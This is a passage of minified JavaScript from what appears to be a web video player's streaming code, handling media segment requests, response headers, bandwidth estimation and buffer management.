this.Vh=T||this.Vh}};
g.q.yT=function(){var x=this.xhr;if(!this.T9()&&x){this.G7=x.status;x=this.JG(x);if(this.policy.L4){var T;(T=this.Yf)==null||T.stop()}x===5?EE(this.gp):this.vk(x);this.gp.Z.stop()}};
g.q.JG=function(x){var T=this;BU5(this);if(qt(this.gp,this.xhr.status,this.v7?this.timing.jY||this.We:this.xhr.gw(),!1,this.qW))return 5;var t="";Zp(this.gp,this.xhr)&&(t=jrq(this.gp,this.xhr));if(t)return MH(i4(this.gp)),this.info.DG(this.MI,t),3;t=x.R3();if(this.jf){this.GM(!0);BU5(this);if(qt(this.gp,this.xhr.status,this.timing.jY||this.We,!1,this.qW))return 5;if(!this.PR){if(this.We)return MH(i4(this.gp)),3;this.gp.lastError="net.closed";return 5}}else{if(qt(this.gp,this.xhr.status,this.xhr.gw(),
!1,this.qW))return 5;var u=this.info.j;if(u&&u!==t||x.Yb())return this.gp.lastError="net.closed",5;this.GM(!0)}u=OTi(this)?x.getResponseHeader("X-Bandwidth-Est"):0;if(x=OTi(this)?x.getResponseHeader("X-Bandwidth-Est3"):0)this.ZY=!0,this.policy.QR&&(u=x);qKH(this.gp,t,u?Number(u):0,this.info.iG[0].type===5);this.logger.debug(function(){var H=T.timing;return"Succeeded, rtpd="+(H.Cz*1E3+H.C-Date.now()).toFixed(0)});
return 4};
g.q.canRetry=function(){this.T9();var x=this.info.isDecorated();return this.gp.canRetry(x)};
g.q.onStateChange=function(){this.isComplete()&&(this.policy.tJ?this.sz():this.timing.deactivate())};
g.q.Mv=function(x){this.gp.Mv(x)};
g.q.wU=function(){this.callback&&this.callback(this,this.state)};
g.q.PZ=function(){return this.gp.PZ()};
g.q.dispose=function(){Xm.prototype.dispose.call(this);this.gp.dispose();var x;(x=this.Yf)==null||x.dispose();this.policy.tJ||this.sz()};
g.q.sz=function(){this.logger.debug("Abort");this.xhr&&this.xhr.abort();this.timing.deactivate()};
g.q.Ca=function(){if(!this.MV().length)return[];this.m5=!0;return this.IH.Ca()};
g.q.kK=function(){if(this.state<1)return!1;if(this.IH&&this.IH.Yx.length)return!0;var x;return((x=this.xhr)==null?0:x.wi())?!0:!1};
g.q.MV=function(){this.GM(!1);return this.IH?this.IH.MV():[]};
g.q.GM=function(x){try{if(x||this.xhr.lj()&&this.xhr.wi()&&!Zp(this.gp,this.xhr)&&!this.d5)this.IH||(this.IH=new u4(this.policy,this.info.iG)),this.xhr.wi()&&(this.jf?this.jf.feed(this.xhr.bL()):$V(this.IH,this.xhr.bL(),x&&!this.xhr.wi()))}catch(T){this.jf?nWq(this,T):g.Vh(T)}};
g.q.CH=function(x,T){switch(x){case 21:x=T.split(1).kG;a55(this,x);break;case 22:this.PR=!0;$V(this.IH,new mi([]),!0);break;case 43:if(x=Ln(new kg(T),1))this.info.DG(this.MI,x),this.We=!0;break;case 45:T=or(new kg(T));x=T.Za;T=T.jj;x&&T&&(this.ZD=x/T);break;case 44:this.MF=k$i(new kg(T));var t,u,H;!this.timing.jY&&((t=this.MF)==null?void 0:t.action)===4&&((u=this.MF)==null?0:(H=u.vK)==null?0:H.v7)&&(this.v7=this.MF.vK.v7);break;case 53:this.policy.L4&&(x=bHf(new kg(T)).C$)&&(this.Yf||(this.C$=x,this.Yf=
new g.wX(this.NE,x,this)),this.Yf.start());break;case 60:this.D_=Tg(new kg(T));break;case 58:if(x=s75(new kg(T)))this.MY=x,x.MY===3&&(this.qW=!0)}};
g.q.YZ=function(x,T,t,u){t||this.timing.YZ(u);if(x!==21)return!1;if(x=this.policy.KX)if(u=T.getLength()+t===u,x*=this.info.iG[0].C.info.Zp,!u&&T.getLength()<x)return!1;if(!t){if(T.getLength()===1)return!0;T=T.split(1).kG}a55(this,T);return!0};
g.q.R3=function(){return this.xhr.R3()};
g.q.WL=function(){return this.Z3};
g.q.Qv=function(){return this.Q0()?2:1};
g.q.Q0=function(){if(!this.policy.J.Ok||!isNaN(this.info.IT)&&this.info.IT>0)return!1;if(!this.xhr.lj())return this.logger.debug("No headers, cannot tell if head segment."),!0;if(this.jf)var x=!this.info.j;else this.xhr.Gf()?x=!1:(x=this.xhr.getResponseHeader("content-type"),x=x==="audio/mp4"||x==="video/mp4"||x==="video/webm");if(!x)return!1;if(isNaN(this.info.IT)){x=this.xhr.getResponseHeader("x-head-seqnum");var T=this.timing.policy.S?1:0;if(!x)this.logger.debug("No x-head-seqnum, cannot tell if head segment.");
else if(Number(x)>this.info.iG[0].Mj+T)return!1}return!0};
g.q.DK=function(){return+this.xhr.getResponseHeader("X-Segment-Lmt")||0};
g.q.Cv=function(){this.xhr&&(this.Np=Number(this.xhr.getResponseHeader("X-Head-Seqnum")));return this.Np};
g.q.ql=function(){this.xhr&&(this.Vh=Number(this.xhr.getResponseHeader("X-Head-Time-Millis")));return this.Vh};
g.q.Yp=function(){return this.gp.Yp()};
g.q.NE=function(){if(!this.T9()&&this.xhr){this.XC="heartbeat";var x=this.gp;x.C+=2;this.wU()}};g.P(Rw,Ch);g.q=Rw.prototype;g.q.Z8=function(x,T){var t=(x-this.D)/1E3,u=T-this.j;this.Z>0?u>0&&(this.uG&&(t>.2||u<1024?(this.K+=t,t>.2&&WV5(this,.05,u)):WV5(this,t,u)),this.QU&&(this.G9+=u,this.AQ+=t)):T>this.policy.C&&this.jo(x,T);Ch.prototype.Z8.call(this,x,T)};
g.q.K0=function(x,T){QW(this,x,T);this.Z8(x,T);this.uG&&(T=this.j*this.snapshot.stall+this.j/this.snapshot.byterate,this.Z>0&&M_(this.xP,this.G9,this.K),x=(x-this.C)/1E3||.01,this.policy.ZZ&&!(this.Z>0)||ds(this.xP,x,this.j,T,!1))};
g.q.tD=function(x){QW(this,x,this.T);var T=(x-this.D)/1E3;RQ(this.xP,T,0);this.Ke(T,0);!this.uG&&this.Z>0||(T=this.j*this.snapshot.stall+this.j/this.snapshot.byterate,this.Z>0&&(this.K+=(x-this.D)/1E3,M_(this.xP,this.G9,this.K)),ds(this.xP,((x-this.C)/1E3||.01)*this.policy.Hv,this.j,T,!1,!0))};
g.q.Dm=function(x){x=x.RL||2147483647;(x&2)!==2&&(this.QU=!1);(x&1)===1&&(this.uG=!0)};
g.q.xD=function(x){x=x.RL||2147483647;(x&2)===2&&(this.QU=!1);(x&1)===1&&(this.uG=!1)};
g.q.pY=function(){return this.S};
g.q.v3=function(){var x=this.QU?this.now()-this.D:0;return Math.max(this.AQ*1E3+x,1)};
g.q.H8=function(){return this.G9*1E3/this.v3()};
g.q.jo=function(x,T){x=x===void 0?this.N:x;T=T===void 0?this.T:T;this.Z>0||(Ch.prototype.jo.call(this,x,T),T=this.xP,x=(x-this.ZZ)/1E3,T.J.SF(1,(this.ZZ-this.C)/1E3),T.Om.SF(1,x))};
g.q.cK=function(x){this.mu=x};
g.q.Sl=function(){var x=Ch.prototype.Sl.call(this);x.rbw=this.H8();x.rbe=+this.QU;x.gbe=+this.uG;x.ackt=(this.mu-this.C).toFixed();return x};
g.q.Yi=function(){};
g.q.x3=function(){return NaN};
g.q.m6=function(){return this.C+this.snapshot.delay*1E3};P6.prototype.CH=function(x,T){T.getLength();switch(x){case 20:x=new kg(T);x={Gi:v5(x,1),videoId:Ln(x,2),itag:v5(x,3),lmt:v5(x,4),xtags:Ln(x,5),Rw:v5(x,6),Kt:VQ(x,8),rR:v5(x,9),gvm:v5(x,10),startMs:v5(x,11),durationMs:v5(x,12),zT:v5(x,14),timeRange:nn(x,15,DNC),a4:v5(x,16),mJ:v5(x,17),clipId:Ln(x,1E3)};this.VE(x);break;case 21:this.wY(T,!1);break;case 22:this.jl(T);break;case 31:x=B5(T,MaH);this.WY(x);break;case 52:x=B5(T,re3);this.iF(x);break;default:this.rY(x,T)}};
P6.prototype.VE=function(){};
P6.prototype.rY=function(){};g.P(Sy,P6);g.q=Sy.prototype;
g.q.rY=function(x,T){T.getLength();switch(x){case 35:this.K$(T);break;case 44:this.OD(T);break;case 43:this.Xm(T);break;case 53:this.e5(T);break;case 55:x=new kg(T);(x={timeline:nn(x,1,hkq),ri9:nn(x,2,G$J)},x.timeline)&&x.timeline.e0&&this.P9.Zc(x.timeline.e0,x.timeline.Ep7,x.ri9);break;case 56:this.Hp();break;case 57:this.lL(T);break;case 42:this.gY(T);break;case 45:this.oC(T);break;case 59:this.lT(T);break;case 51:this.I2(T);break;case 49:this.Dm(T);break;case 50:this.xD(T);break;case 47:this.yy(T);
break;case 58:this.bj(T);break;case 61:this.P9.Ht.cK((0,g.bo)());break;case 66:this.JH(T);break;case 46:this.Pp(T);break;case 67:this.onSnackbarMessage(T)}};
g.q.I2=function(x){x=new kg(x);x={jcQ:gK(x,1,Xf),ZAW:gK(x,2,Xf)};this.P9.I2(x)};
g.q.lT=function(x){var T=new kg(x);x=af(T,1);var t=af(T,2);T=af(T,3);this.P9.lT(x,t,T)};
g.q.oC=function(x){x=or(new kg(x));this.P9.oC(x)};
g.q.yy=function(x){x=B5(x,PB3);this.P9.yy(x)};
g.q.gY=function(x){x=new kg(x);x={videoId:Ln(x,1),formatId:nn(x,2,Xf),endTimeMs:v5(x,3),AsY:v5(x,4),mimeType:Ln(x,5),Vm:nn(x,6,ZHi),indexRange:nn(x,7,ZHi),AC:nn(x,8,j7J)};this.P9.gY(x)};
g.q.lL=function(x){x=G$J(new kg(x));this.P9.lL(x)};
g.q.Hp=function(){this.P9.Hp()};
g.q.K$=function(x){x=Ae4(new kg(x));this.P9.K$(x)};
g.q.e5=function(x){x=bHf(new kg(x));this.P9.e5(x)};
g.q.OD=function(x){x=k$i(new kg(x));this.P9.OD(x)};
g.q.Xm=function(x){x={redirectUrl:Ln(new kg(x),1)};this.P9.Xm(x)};
g.q.wY=function(x){var T=x.getUint8(0);if(x.getLength()!==1){x=x.split(1).kG;var t=this.Z[T]||null;t&&kV(this.P9.KC,T,t,x)}};
g.q.jl=function(x){x=x.getUint8(0);var T=this.Z[x]||null;T&&this.P9.jl(x,T)};
g.q.iF=function(x){this.P9.iF(x)};
g.q.VE=function(x){var T=x.Gi,t=x.Kt,u=x.Rw,H=x.mJ,I=x.a4,E=x.rR,Z=x.startMs,e=x.durationMs,l=x.timeRange,m=x.zT,d=x.clipId,M=bz(x);x=aSb.has(Nu[""+x.itag]);this.Z[T]=M;this.P9.ij(M,x,{Gi:T,Kt:!!t,Rw:u!=null?u:-1,rR:E!=null?E:-1,startMs:Z!=null?Z:-1,durationMs:e!=null?e:-1,zT:m,mJ:H,a4:I,clipId:d,timeRange:l})};
g.q.Dm=function(x){x={RL:v5(new kg(x),1)};this.P9.Dm(x)};
g.q.xD=function(x){x={RL:v5(new kg(x),1)};this.P9.xD(x)};
g.q.WY=function(x){this.P9.WY(x)};
g.q.bj=function(x){x=s75(new kg(x));this.P9.bj(x)};
g.q.JH=function(x){x={Q7:nn(new kg(x),1,YuD)};this.P9.JH(x)};
g.q.onSnackbarMessage=function(x){x=v5(new kg(x),1);this.P9.onSnackbarMessage(x)};
g.q.Pp=function(x){x={reloadPlaybackParams:nn(new kg(x),1,taV)};this.P9.Pp(x)};g.P(c6,g.W);g.q=c6.prototype;g.q.j_=function(){return Array.from(this.YP.keys())};
g.q.l6=function(x){x=this.YP.get(x);var T=x.Yx;x.Xr+=T.getLength();x.Yx=new mi;return T};
g.q.oT=function(x){return this.YP.get(x).oT};
g.q.Qu=function(x){return this.YP.get(x).Qu};
g.q.ij=function(x,T,t,u){this.YP.get(x)||CGi(this,x,T);T=this.YP.get(x);if(this.gy){x=ptq(this,x,t);if(u)for(var H=g.S(x),I=H.next();!I.done;I=H.next()){I=I.value;var E=u;I.S=E;I.startTime+=E;I.Gy+=E;I.BS+=E}QrD(this,t.Gi,T,x)}else t.Kt?T.sE=t.zT:T.iW.push(t),T.d0.push(t)};
g.q.gs=function(x){var T;return((T=this.YP.get(x))==null?void 0:T.iG)||[]};
g.q.eE=function(){for(var x=g.S(this.YP.values()),T=x.next();!T.done;T=x.next())T=T.value,T.BG&&(T.Yg&&T.Yg(),T.BG=!1)};
g.q.jl=function(x,T){this.logger.debug(function(){return"[onMediaEnd] formatId: "+T});
var t=this.YP.get(T);if(YV){if(t&&!t.oT){if(t.Ng.get(x))t.Ng.get(x).MW=!0;else{var u;((u=this.x6)==null?0:u.RW)&&t.Ng.set(x,{data:new mi,kC:0,MW:!0})}t.Qu=!0}}else t&&!t.Qu&&(t.Qu=!0)};
g.q.Ca=function(x){if(YV){var T=this.YP.get(x);if(T)for(var t=g.S(T.Ng),u=t.next();!u.done;u=t.next()){var H=g.S(u.value);u=H.next().value;H=H.next().value;var I=T.hN.get(u);if(V4(I[0])){if(!H.MW)continue;var E=I,Z=H.data;Z.getLength();I=0;var e=[];E=g.S(E);for(var l=E.next();!l.done;l=E.next()){l=l.value;var m=l.j,d=Mi(Z,I,m);I+=m;e.push(new XO(l,d))}T.iQ.push.apply(T.iQ,g.U(e))}else if(H.data.getLength()>0||!I[0].range&&H.MW)Z=void 0,I=I[0],e=H.kC,E=H.data,I.range||(Z=H.MW),l=E.getLength(),Z=new XO(KcD(I,
I.Z+e,l,Z),E),H.kC+=Z.info.j,T.iQ.push(Z);T.Ng.get(u).data=new mi;H.MW&&T.Ng.delete(u)}x=this.YP.get(x);if(!x)return[];T=x.iQ;x.iQ=[];t=g.S(T);for(u=t.next();!u.done;u=t.next())x.Xr+=u.value.info.j;return T||[]}t=(T=this.YP.get(x))==null?void 0:T.IH;if(!t)return[];this.GM(x,t);return t.Ca()};
g.q.kK=function(x){if(YV)return zp(this,x);var T,t,u;return!!((t=(T=this.YP.get(x))==null?void 0:T.IH)==null?0:(u=t.MV())==null?0:u.length)||zp(this,x)};
g.q.GM=function(x,T){for(;zp(this,x);){var t=this.l6(x);var u=x;u=this.YP.get(u).oT&&!rj(this,u);$V(T,t,u&&JvX(this,x))}};
g.q.oU=function(){g.W.prototype.oU.call(this);for(var x=g.S(this.YP.keys()),T=x.next();!T.done;T=x.next())UE(this,T.value);var t;if((t=this.x6)==null?0:t.jb)for(x=g.S(this.YP.values()),T=x.next();!T.done;T=x.next())T=T.value,T.Ng.clear(),T.hN.clear(),T.iQ.length=0,T.iG.length=0,T.d0.length=0,T.iW.length=0;this.YP.clear()};
var YV=!1;g.P(FZ,g.W);g.q=FZ.prototype;g.q.tH=function(){!this.T9()&&this.xhr&&(this.GM(!1),o1(this.P9,this))};
g.q.Eu=function(){};
g.q.yT=function(){if(!this.T9()&&this.xhr){var x=this.JG();x===5?EE(this.gp):this.vk(x);this.gp.Z.stop();var T;(T=this.vp)==null||T.stop()}};
g.q.JG=function(){var x="";Zp(this.gp,this.xhr)&&(x=jrq(this.gp,this.xhr));if(x)return this.info.QA.DG(this.MI,x),3;this.GM(!0);if(qt(this.gp,this.xhr.status,this.xhr.gw(),this.info.hH(),this.qW))return 5;if(this.SS)return 3;qKH(this.gp,this.xhr.R3(),0,this.hH());this.policy.Jq&&FJH(this.P9);return 4};
g.q.GM=function(x){var T=this.xhr;if((x||!Zp(this.gp,this.xhr))&&T.wi()){x=T.bL();var t=x.getLength();this.logger.debug(function(){return"handleAvailableSlices: slice length "+t});
this.jf.feed(x)}};
g.q.CH=function(x,T){this.xhr.IM()&&x===21&&KVJ(this);this.iU.CH(x,T)};
g.q.YZ=function(x,T,t,u){t||(this.Ht.YZ(u),this.policy.nu&&x===21&&KVJ(this));if(x!==21)return!1;this.Ht.jY=!0;x=T.getLength();t||(this.U4=T.getUint8(0),T=T.split(1).kG);var H=this.policy.v0,I=this.iU.Z[this.U4],E=this.gy.j.get(I);if(H&&E&&(H*=E.info.Zp,x+t!==u&&x<H))return!1;kV(this.KC,this.U4,I,T);return!0};
g.q.K$=function(x){this.P9.K$(x)};
g.q.e5=function(x){if(this.policy.enableServerDrivenRequestCancellation){var T;(T=this.vp)==null||T.dispose();this.JX=x;x.lU&&(this.vp=new g.wX(this.FP,x.lU,this));this.FP()}};
g.q.FP=function(){var x;if((x=this.JX)!=null&&x.items){var T;(T=this.vp)==null||T.start();if(this.Ht.Z>0){this.policy.Pm&&this.gp.Z.stop();x=this.Ht.v3();T=this.Ht.H8();var t=Xtm(this,x);if(!(T>t.rl||t.XK>0&&this.info.bK()>t.XK)){this.tX=(0,g.bo)();var u;(u=this.vp)==null||u.stop();this.policy.Jq&&(u=this.P9,x={Bl:Math.round(T*x/1E3),oE:x},u.policy.Jq&&(u.Om=x,u.lR++));this.Mv(!1)}}}};
g.q.Mv=function(x){this.gp.Mv(x)};
g.q.OD=function(x){this.P9.OD(x,this.Bw())};
g.q.Xm=function(x){this.SS=!0;this.info.QA.DG(this.MI,x.redirectUrl)};
g.q.Dm=function(x){this.Ht instanceof Rw&&this.Ht.Dm(x)};
g.q.xD=function(x){this.Ht instanceof Rw&&this.Ht.xD(x)};
g.q.Zc=function(x,T,t){this.P9.Zc(x,T,t,this.Bw())};
g.q.gY=function(x){var T=x.formatId,t=bz({itag:T.itag,lmt:T.lmt,xtags:T.xtags}),u,H,I=new zr(((u=x.Vm)==null?void 0:u.first)||0,((H=x.Vm)==null?void 0:H.jQ)||0),E,Z;u=new zr(((E=x.indexRange)==null?void 0:E.first)||0,((Z=x.indexRange)==null?void 0:Z.jQ)||0);if(!this.gy.j.get(t)){t=x.AC||{};if(this.policy.qY){var e,l;x=(e=x.mimeType)!=null?e:"";e=(l=T.itag)!=null?l:0;l=Nu[""+e];t.mimeType=l!=="9"&&l!=="9h"?x:'video/webm; codecs="'+["vp09",l==="9h"?"02":"00","51",l==="9h"?"10":"08","01.01.01.01.00"].join(".")+
'"'}else t.mimeType=x.mimeType;t.itag=T.itag;t.lastModified=""+(T.lmt||0);t.xtags=T.xtags;T=this.gy;l=MK("");e=mj(t,null);E4(T,new HT(l,e,I,u))}};
g.q.oC=function(x){this.P9.oC(x)};
g.q.onSnackbarMessage=function(x){if(this.policy.V7)this.P9.onSnackbarMessage(x)};
g.q.WY=function(x){this.d7=x;this.lc=(0,g.bo)();this.P9.WY(x)};
g.q.lT=function(x,T,t){this.P9.lT(x,T,t)};
g.q.lL=function(x){x.scope===2&&(this.Mxu=x);this.P9.lL(x)};
g.q.Hp=function(){this.iC=!0;this.P9.Hp()};
g.q.I2=function(x){this.policy.hR&&this.P9.I2(x)};
g.q.yy=function(x){this.P9.yy(x,this.Bw())};
g.q.bj=function(x){x.MY===3&&(this.qW=!0);this.P9.bj(x)};
g.q.JH=function(x){this.P9.JH(x)};
g.q.Pp=function(x){this.P9.Pp(x)};
g.q.canRetry=function(){this.T9();return this.gp.canRetry(!1)};
g.q.dispose=function(){if(!this.T9()){g.W.prototype.dispose.call(this);this.gp.dispose();var x;(x=this.vp)==null||x.dispose();this.vk(-1);this.sz()}};
g.q.vk=function(x){this.state=x;o1(this.P9,this)};
g.q.hH=function(){return this.info.hH()};
g.q.cT=function(){return this.iC};
g.q.I6=function(){return this.Mxu};
g.q.ij=function(x,T,t){t.clipId&&(this.clipId=t.clipId);this.policy.T&&!T&&(this.QL=t.rR,this.Le=t.startMs);var u=0;this.policy.nU&&this.GX&&this.clipId&&(u=vw(this.GX,this.clipId)/1E3);this.KC.ij(x,T,t,u);this.policy.KB&&this.d7&&this.Ht instanceof Oz&&(u=this.d7.Uv,this.Ht.ij(t.durationMs/1E3,T,u>0&&t.rR+1>=u));this.KC.YP.get(x).Mh=!0};
g.q.jl=function(x,T){this.KC.jl(x,T)};
g.q.iF=function(x){this.requestIdentifier=x};
g.q.Ca=function(x){return this.KC.Ca(x)};
g.q.gs=function(x){return this.KC.gs(x)};
g.q.kK=function(x){return this.KC.kK(x)};
g.q.j_=function(){return this.KC.j_()};
g.q.Qv=function(){return 1};
g.q.Bw=function(){return this.Ht.requestNumber};
g.q.OS=function(){return this.requestIdentifier};
g.q.rj=function(){return this.clipId};
g.q.sY=function(){return this.MI.sY()};
g.q.Eq=function(){this.sz()};
g.q.sz=function(){this.Ht.deactivate();var x;(x=this.xhr)==null||x.abort()};
g.q.isComplete=function(){return this.state>=3};
g.q.Cg=function(){return this.state===3};
g.q.sG=function(){return this.state===5};
g.q.Ej=function(){return this.state===4};
g.q.tG=function(){return this.isComplete()};
g.q.MX=function(){return this.state>=1};
g.q.PZ=function(){return this.policy.FD?this.gp.PZ():0};
g.q.wU=function(){this.policy.FD&&o1(this.P9,this)};
g.q.eA=function(){return lmm(this.info)};
g.q.Yp=function(){return this.gp.Yp()};
g.q.Ti=function(){var x=eM5(this.gp);Object.assign(x,d_v(this.info));x.req="sabr";x.rn=this.Bw();var T;if((T=this.xhr)==null?0:T.status)x.rc=this.policy.xG?this.xhr.status:this.xhr.status.toString();var t;(T=(t=this.xhr)==null?void 0:t.HU())&&(x.msg=T);this.tX&&(t=Xtm(this,this.tX-this.Ht.pY()),x.letm=t.Wuv,x.mrbps=t.rl,x.mram=t.XK);return x};
g.q.WP=function(){return{QL:this.QL,Le:this.Le,isDecorated:this.info.isDecorated()}};xHv.prototype.tick=function(x,T){this.ticks[x]=T?window.performance.timing.navigationStart+T:(0,g.bo)()};g.P(v6,g.$B);g.q=v6.prototype;
g.q.KD=function(x,T,t,u){var H=!1;this.policy.tQ&&(H=t?this.Hv===x.Mj:this.uG===x.Mj);if(this.D&&u&&!H){u=[];H=[];var I=[],E=void 0,Z=0;T&&(u=T.C,H=T.Z,I=T.j,E=T.K,Z=T.fJ,this.kc("sdai",{sq:x.Mj,ssvicpns:u.join("."),ssvid:H.join(".")}));this.policy.tQ&&(t?this.Hv=x.Mj:this.uG=x.Mj);this.D.OR(x.Mj,x.startTime,this.Z,u,H,I,t,Z,E)}if(this.policy.tQ){if(t||this.policy.EG){this.Z===1&&Gp(this,5,"noad");var e;x.Mj!==((e=this.C)==null?void 0:e.Mj)&&(ZXD(this,x,T,t),isNaN(x.startTime)||LR(this,x.Mj,gj(this,
x.startTime,x.Mj),!!T,this.D))}}else t&&ZXD(this,x,T)};
g.q.Y9=function(x,T,t){var u=this.videoTrack.C.index.mR()<=T;this.C={PU:x,Mj:T,xT:t};u&&Vp(this,x,T)};
g.q.Lm=function(){this.D&&this.D.Lm()};
g.q.kc=function(x,T,t){(x!=="sdai"||this.policy.OC||(t===void 0?0:t))&&this.Kf.kc(x,T)};
g.q.Rq=function(x,T){var t=this.videoTrack.C.index.tp(x);if(t>=0){var u;var H=((u=T.VF.Fz(t,2))==null?void 0:u.J9)||"";if(this.policy.T||H)return T.Os(x,t),nR(this.Kf,x,x,t),this.kc("sdai",{cmskpad:1,t:x.toFixed(3),sq:t}),!0}this.kc("sdai",{cmskpad:0,t:x.toFixed(3),sq:t});return!1};g.P(yp,g.W);yp.prototype.NK=function(x,T,t){t=t===void 0?{}:t;this.policy.TC=hy(x,t,this.K,T===void 0?!1:T)};pR.prototype.EW=function(x){var T=this;if(this.policy.Tw){var t=new Set(x);t.size===this.Om.size&&[].concat(g.U(t)).every(function(u){return T.Om.has(u)})||(this.Kf.kc("lwnmow",{itagDenylist:[].concat(g.U(x)).join(",")}),this.Kf.Jf(!!t.size),this.S=-1,this.Om=t,OE(this,this.C),this.nf=!0)}};
pR.prototype.NK=function(x,T,t){t=t===void 0?{}:t;var u=this.policy.TC;this.T.NK(x,T===void 0?!1:T,t);if(u!==this.policy.TC){OE(this,this.C);fR(this);var H,I;u>this.policy.TC&&((H=this.j)==null?0:Oq(H.info))&&((I=this.nextVideo)==null||!Oq(I.info))&&(this.ZZ=!0)}};xo.prototype.L7=function(x){this.timestampOffset=x;this.flush()};
xo.prototype.flush=function(){if(this.C.pos>0){var x={a:this.track.iD(),u:this.C.vM(),pd:Math.round(this.K),ad:Math.round(this.j)},T=this.Z;if(T){var t=T.C.info;x.itag=t.itag;t.C&&(x.xtags=t.C);x.sq=T.Mj;x.st=T.startTime;x.sd=T.duration;this.track.policy.Qz&&(x.si=T.Hk());T.K&&(x.esl=T.Z+T.j);T.FQ()&&(x.eos=1)}isNaN(this.timestampOffset)||(x.to=this.timestampOffset);var u;if(T=(u=this.track.qJ)==null?void 0:u.K2({})){for(var H in T)this.D[H]!==T[H]&&(x["sb_"+H]=T[H]);this.D=T}this.track.kc("sbu",
x);this.C.reset();this.buffered=[];this.T=this.j=this.K=0;this.timestampOffset=this.Z=void 0}};od.prototype.dispose=function(){this.jY=!0};
od.prototype.T9=function(){return this.jY};
g.P(iU,Error);var qZ4=new Uint8Array([0,0,0,38,112,115,115,104,0,0,0,0,237,239,139,169,121,214,74,206,163,200,39,220,213,29,33,237,0,0,0,6,72,227,220,149,155,6]);qI.prototype.skip=function(x){this.offset+=x};
qI.prototype.gP=function(){return this.offset};g.q=xKC.prototype;g.q.tY=function(){return this.Z};
g.q.QT=function(){return this.Z.length?this.Z[this.Z.length-1]:null};
g.q.CU=function(){this.Z=[];mC(this);eN(this)};
g.q.l6=function(x){this.G9=this.Z.shift().info;x.info.RH(this.G9)};
g.q.gs=function(){return g.r7(this.Z,function(x){return x.info})};
g.q.iD=function(){return!!this.D.info.audio};
g.q.getDuration=function(){return this.D.index.dD()};g.P(Lh,Xm);g.q=Lh.prototype;g.q.onStateChange=function(){this.T9()&&(b4(this.KC,this.formatId),this.C.dispose())};
g.q.Ti=function(){var x=NUm(this.KC,this.formatId),T;var t=((T=this.KC.YP.get(this.formatId))==null?void 0:T.bytesReceived)||0;var u;T=((u=this.KC.YP.get(this.formatId))==null?void 0:u.Xr)||0;return{expected:x,received:t,bytesShifted:T,sliceLength:rj(this.KC,this.formatId),isAnyMediaEndReceived:this.KC.Qu(this.formatId)}};
g.q.R_=function(){return 0};
g.q.fm=function(){return!0};
g.q.Ca=function(){return this.KC.Ca(this.formatId)};
g.q.MV=function(){return[]};
g.q.kK=function(){return this.KC.kK(this.formatId)};
g.q.Yp=function(){return this.lastError};
g.q.PZ=function(){return 0};g.P(Rd,g.W);g.q=Rd.prototype;g.q.iD=function(){return!!this.C.info.audio};
g.q.QT=function(){return this.K.QT()};
g.q.l6=function(x){this.K.l6(x);var T;(T=this.J)!=null&&(T.T.add(x.info.Mj),T.C=bTH(T,T.v9,T.C7,x,T.C),T.j=x,T.D=(0,g.bo)());this.Zp=Math.max(this.Zp,x.info.C.info.Zp||0)};
g.q.getDuration=function(){if(this.policy.Z){var x=this.Kf.vS();if(x)return Xa(x)}return this.C.index.dD()};
g.q.CU=function(){al(this);this.K.CU()};
g.q.zb=function(){return this.K};
g.q.isRequestPending=function(x){return this.j.length?x===this.j[this.j.length-1].info.iG[0].Mj:!1};
g.q.L7=function(x){var T;(T=this.J)==null||T.L7(x);var t;(t=this.S)==null||t.L7(x)};
g.q.kc=function(x,T){this.Kf.kc(x,T)};
g.q.xZ=function(){return this.Kf.xZ()};
g.q.dispose=function(){var x;(x=this.S)==null||x.flush();g.W.prototype.dispose.call(this)};g.P(C9,g.W);C9.prototype.j=function(){this.Z++>15||(this.C=!this.C,new Jyf(this.Kf,this.policy,this.xP,this.QA,this.C),this.delay.start())};
g.q=Jyf.prototype;g.q.Eu=function(){};
g.q.tH=function(){};
g.q.yT=function(){if(!this.done)if(this.done=!0,this.xhr.status===200&&this.xhr.R3()===this.size)this.Kf.kc("rqs",this.getInfo());else{var x="net.connect";this.xhr.status>200?x="net.badstatus":this.xhr.lj()&&(x="net.closed");this.onError(x)}};
g.q.onError=function(x){var T=this;this.Kf.handleError(x,this.getInfo());Uz("https://www.gstatic.com/ytlr/img/sign_in_avatar_default.png?rn="+this.timing.requestNumber,"gp",function(t){T.Kf.kc("pathprobe",t)},function(t){T.Kf.handleError(t.errorCode,t.details)})};
g.q.getInfo=function(){var x=this.timing.Sl();x.shost=UK(this.location.il);x.pb=this.size;return x};g.P(QB,g.W);
QB.prototype.N=function(x,T){if(x.N){this.gy.isLive?(x=this.gy.Q9&&this.gy.K?x.C.c7(this.gy.Q9,!1):x.C.U_(Infinity),x.IT=this.IT):x=x.C.c7(0,!1);if(this.ZZ){var t=this.ZZ;x.IT===0&&(x.T=t.J)}else x.T=this.S;return x}t=x.Z;if(!t.C.fC())return t.C.Jy()?(x=zk(this.T,x.C.info.Zp,T.C.info.Zp,0),x=t.C.Fr(t,x)):x=t.C.Fo(t),x;var u=t.BS-this.Kf.getCurrentTime(),H=!t.range||t.j===0&&t.Z===0?0:t.range.length-(t.Z+t.j),I=t.C;this.y0(x,u)&&H===0&&(this.gy.isManifestless?I=x.C:(I=t.startTime+Ew,t.j&&(I+=t.duration),
Ww(x,I),t=x.Z,I=t.C));I.Jy()?(H=this.j,T=zk(this.T,I.info.Zp,T.C.info.Zp,u,H.K.length>0&&H.J===0&&this.Kf.rG),u=n9(x),x=t.C.Fr(t,T),(T=x.j)&&x.iG.length>1&&(u||x.QA.Z||x.iG[0].C!==t.C?x=t.C.Fr(t,x.iG[0].j):(u=x.iG[x.iG.length-1],I=u.j/T,!u.K&&I<.4&&(x=t.C.Fr(t,T-u.j))))):(t.Mj<0&&(T=ae(t),T.pr=""+x.j.length,this.Kf.isSeeking()&&(T.sk="1"),T.snss=t.T,this.Kf.kc("nosq",T)),x=I.Fo(t));if(this.policy.Hv)for(t=g.S(x.iG),T=t.next();!T.done;T=t.next())T.value.type=6;return x};
QB.prototype.y0=function(x,T){if(!n9(x)||!x.C.fC())return!1;var t=this.j.nf||ryV(x)||T<=this.policy.Ya||this.j.ZZ;this.logger.debug(function(){return"ready to adapt: "+t+", upgrade pending: "+ryV(x)+", health: "+T});
return t};
QB.prototype.oU=function(){g.W.prototype.oU.call(this)};
var Ew=2/24;g.P(As,g.W);As.prototype.CD=function(x,T,t){var u;var H=((u=this.Z)==null?void 0:u.reason)==="m"?"m":this.Z&&uBf(this,this.Z)?this.Z.reason:"a";this.Kf.CD(new Dp(x,H,t));X_(this.Kf,T,x,!0)};
